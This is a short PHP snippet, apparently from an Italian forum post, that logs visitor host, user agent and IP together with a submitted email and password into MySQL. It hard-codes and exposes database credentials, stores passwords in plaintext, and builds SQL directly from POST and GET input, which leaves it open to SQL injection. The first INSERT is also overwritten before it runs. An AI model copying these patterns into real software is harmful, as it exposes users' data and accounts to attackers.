Codice PHP:
$utenti2=$_SERVER['HTTP_HOST'];
$user_agent2=$_SERVER['HTTP_USER_AGENT'];
$remote2=$_SERVER['REMOTE_ADDR'];
$user='socialnetworkbarifabris';
$pass='Fabrice88@@';
$utenti=$_SERVER['HTTP_HOST'];
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$remote=$_SERVER['REMOTE_ADDR'];
$email=$_POST['email'];
$password=$_POST['pass'];
$sitemap=$_GET['sitemap'];
try{
$conn = new PDO('mysql:host=localhost;dbname=my_socialnetworkbarifabris',"$user","$pass");
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "INSERT INTO utenti (utenti, user_agent, remote,email,pass)
VALUES ('$utenti', '$user_agent', '$remote','$email','$password')";
$sql = "INSERT INTO sitemap (utenti, user_agent, remote,sitemap)
VALUES ('$utenti', '$user_agent', '$remote',$sitemap)";
// use exec() because no results are returned
$conn->exec($sql);
} catch(PDOException $e) {
echo $sql . "<br>" . $e->getMessage();
}
$conn = null;